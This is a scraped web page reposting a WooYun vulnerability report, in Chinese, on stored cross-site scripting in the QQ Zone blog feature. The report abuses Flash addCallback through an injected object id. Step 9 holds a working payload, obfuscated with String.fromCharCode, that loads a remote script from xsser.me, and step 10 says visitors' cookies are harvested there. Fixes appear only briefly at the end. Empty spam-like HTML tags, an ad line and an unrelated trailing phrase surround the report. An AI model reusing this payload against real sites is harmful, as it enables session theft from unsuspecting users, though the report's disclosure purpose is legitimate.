<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                企業??AI智能體構建引擎,智能編排和調試,一鍵部署,支持知識庫和私有化部署方案 廣告
                # 21\. 存儲型 XSS 進階 [猜測規則,利用 Flash addCallback 構造 XSS] > 來源:[21\. 存儲型 XSS 進階 \[猜測規則,利用 Flash addCallback 構造 XSS\]](http://www.wooyun.org/bugs/wooyun-2010-016803) ## 簡要描述 有些時候,我們拿現成的 XSS 代碼都不行,都被過濾了,那么需要我們對過濾的規則進行一定的判斷與猜測。然后針對性的使用一些技 巧來適應或者繞過規則。 在本例中,我們以 QQ 空間/QQ 校友的日志功能為例,通過猜測簡單的過濾規則,然后使用含有 addCallback 的 flash,來實現了存儲型 XSS 的構造。 詳細說明: 1\. 前提:本例需在 IE9,IE10 下進行。 2\. 我們烏云上報告的一些已有案例,進行了再次測試。 [(QQ 空間+朋友網)日志功能存儲型 XSS](http://www.wooyun.org/bugs/wooyun-2012-013721) 上例中,提到了 QQ 空間日志并未對 object 標簽進行有效的過濾。 3\. 我們根據此例中的代碼對過濾規則進行測試: ``` <object width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="Src" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always"> ``` 以上的代碼,是可以正常提交,并且未過濾的。 ``` <object width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://mysite.com/vphoto.swf"><PARAM NAME="Src" VALUE="http://mysite.com/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always"> ``` 而當 swf 的域名不是 qzs.qq.com 時候,代碼將會被過濾為以下內容。 ``` <object width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="AllowScriptAccess" VALUE="always"> ``` 即地址被去掉了。 4\. 那么我們已知了這個過濾規則, 就有 2 種繞過的方式。 4.1 找到一個 qzs.qq.com 域名下存在缺陷的 FLASH,然后加以利用。 此方法,已經在 @gainover 的 [WooYun: PKAV騰訊專場 - 6. (QQ空間+朋友網)日志功能存儲型XSS](http://www.wooyun.org/bugs/wooyun-2012-013721) 有所介紹了。 4.2 利用 Flash 的 addcallback 缺陷來構造存儲型 XSS。 5\. 首先說下 flash addcallback 方法的基本原理。 根據 flash sdk 里的源代碼,我們可以得到 flash addcallback 的源代碼中有以下代碼。 ``` if ((((activeX == true)) && (!((objectID == null))))){ _evalJS(((((" flash addCallback(document.getElementById(\"" + objectID) + "\"), \"") + functionName) + "\");")); }; ``` ![image](https://box.kancloud.cn/2016-03-23_56f25046dbc34.jpg) 其中 objectID 為調用 FLASH 的 HTML 標簽的 ID。functionName 則為被 JS 所調用的函數名稱。 6\. 當我們有以下代碼時: ``` <object id="aaaa" width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="Src" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always"> ``` 且 http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf 中存在一句 ``` ExternalInterface.addCallback("myfunc",funcInFlash); ``` 則有 ``` objectID="aaaa"; functionName="myfunc"; ``` 代入上面那句_evalJS 中,則有 ``` flash addCallback(document.getElementById("aaaa"), "myfunc"); ``` 7\. 那么我們可以想象一下,如果 aaaa 替換為 `aaaa"),alert(1),("` 則上面代碼變為 ``` flash addCallback(document.getElementById("aaaa"),alert(1),(""), "myfunc"); ``` 解析: ![image](https://box.kancloud.cn/2016-03-23_56f25046f180b.jpg) 8\. 且 FLASH 中,確實未對 objectID 做任何過濾。 基于以上內容,我們可以構建利用代碼。 ``` <object id='aaaa"),alert(1),("' width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="Src" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always"> ``` 我們自己用上面這段代碼先在自己網站上測試下: ![image](https://box.kancloud.cn/2016-03-23_56f2504710ee5.jpg) 看,果然 id 里的代碼被執行了! 9\. 利用以上原理,接著我們在 QQ 空間里來做測試,至于 FLASH 么,就是現成的! 雖然這個 FLASH 里沒有缺陷,但是存在 addCallback 的調用,我們就可以直接用它。 ``` <object width="100%" height="100%" align="middle" id="xsstest1&quot),(function(){if(!window. x){window. x=1;window.s=document.createElement(String.fromCharCode(115,9 9,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,101,114,46,109,101,47,66,11 3,112,57,82,121);document.body.appendChild(window.s);}})(),(&quot;" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="Src" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always"> ``` 發布日志,使用以上代碼 ![image](https://box.kancloud.cn/2016-03-23_56f2504735b28.jpg) 10\. 當用戶訪問含有 XSS 代碼的日志后,我們可以在 xsser.me 查看所記錄的 cookies 內容。 ![image](https://box.kancloud.cn/2016-03-23_56f2504753257.jpg) 修復方案: 1\. 過濾 object 標簽 2\. 設置 allowscriptaccess 為 never ,即使設置為 sameDomain, 也可能找到同域下含有 addCallback 調用的 FLASH。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看